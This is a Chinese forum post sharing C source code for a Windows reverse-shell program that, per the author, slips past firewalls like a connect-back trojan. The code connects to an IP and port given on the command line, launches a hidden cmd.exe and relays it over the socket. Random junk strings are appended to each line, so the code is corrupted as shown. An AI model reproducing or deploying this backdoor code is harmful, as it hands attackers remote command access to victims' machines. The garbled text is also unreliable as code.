社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4661阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 'Cw&9cL9w  
yB][ 3?lv  
/* ============================== [:M:6JJ  
Rebound port in Windows NT -L%J,f[&,  
By wind,2006/7 qKoD*cl)Za  
===============================*/ Uc oVp}vl  
#include kLc}a5;  
#include A4 ;EtW+F  
z&fXxp  
#pragma comment(lib,"wsock32.lib") qm RdO R  
0\fV'JDOR  
void OutputShell(); :[icd2JCw]  
SOCKET sClient; yCznRd}J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5=< y%VF  
@9-/p^n1  
void main(int argc,char **argv) 2.''Nt6|  
{ ]O%wZIp\P  
WSADATA stWsaData; E=N44[`.G  
int nRet; 9A|deETa-  
SOCKADDR_IN stSaiClient,stSaiServer; vo48\w7[  
5]C}044  
if(argc != 3) TNwBnMe  
{ jUny&Alj  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,3 !D(&  
return; )6K Q"*  
} o1jDQ+  
nR%ASUx:Y  
WSAStartup(MAKEWORD(2,2),&stWsaData); Qs v3`c  
%N((p[\H  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =&Dt+f&  
"ecG\}R=  
stSaiClient.sin_family = AF_INET; -nBb - y  
stSaiClient.sin_port = htons(0); LjZvWts?  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D@jG+k-Lm  
2hZ>bg  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~Sq!P  
{  :{#%_^}k  
printf("Bind Socket Failed!\n"); \}CQo0v  
return; -TIrbYS`  
} $raxf80A  
<P)U Ggd  
stSaiServer.sin_family = AF_INET; 8GRp1'\Hi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jC<1bf$K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); syuW>Z8s  
Z0o+&3a6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7Jm&z/  
{ k7o49Y(#  
printf("Connect Error!"); =m<; Jx5  
return; =+I~K'2  
} \*>r[6]*&5  
OutputShell(); ~3]ZN'b\  
} )SkJgzvC  
bCv=Uo,+6  
void OutputShell() ;rBd_  
{ a/})X[2  
char szBuff[1024]; PvmmyF  
SECURITY_ATTRIBUTES stSecurityAttributes; }b$?t7Q)  
OSVERSIONINFO stOsversionInfo; e_eNtVq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j$2rU'  
STARTUPINFO stStartupInfo; cJ CKxj  
char *szShell; _e2=BE`W)  
PROCESS_INFORMATION stProcessInformation; OR{<)L  
unsigned long lBytesRead; qG=?+em  
608}-J=3#  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c~_nO d  
96L-bBtyY  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pKSn 3-A  
stSecurityAttributes.lpSecurityDescriptor = 0; to}g4  
stSecurityAttributes.bInheritHandle = TRUE; Dt1v`T~=?  
f9+J}  
G~$.Af!9W  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ejr9e@D^  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A`|Z2  
s& INcjC  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); J[Ck z]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; " Bz\<e&u  
stStartupInfo.wShowWindow = SW_HIDE; u%TZ),ny-  
stStartupInfo.hStdInput = hReadPipe; <F>^ffwGH-  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bn$('  
z%lu%   
GetVersionEx(&stOsversionInfo); 'hEvW  
VnZRsFY<^  
switch(stOsversionInfo.dwPlatformId) ].=~C"s,a  
{ DC&3=Nd  
case 1: pQQN8Y~^Y  
szShell = "command.com"; hxCSE$f4  
break; |2i=oX(r|  
default: wiwAdYEQ\  
szShell = "cmd.exe"; Yf=an`"  
break; 4trP*u,4  
} tHhau.!  
s} I8:ufT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); W0zRV9"P  
pUGFQ."\  
send(sClient,szMsg,77,0); W6e,S[J^FY  
while(1) |4$.mb.  
{ 8OS@gpz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )[t zAaP7  
if(lBytesRead) lpjeEaw o4  
{ Ri<7!Y?l  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fX ^h O+f  
send(sClient,szBuff,lBytesRead,0); n! Dr:$  
} \wJ2>Q  
else u[{j;l(  
{ ce3UB~Q  
lBytesRead=recv(sClient,szBuff,1024,0); fwkklg^  
if(lBytesRead<=0) break; p`dH4y]D  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `Z#0kpXk_  
} aUy!(Y  
} mJ_ 5Vt=  
m;_gNh8Ee  
return; \ oY/hT_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五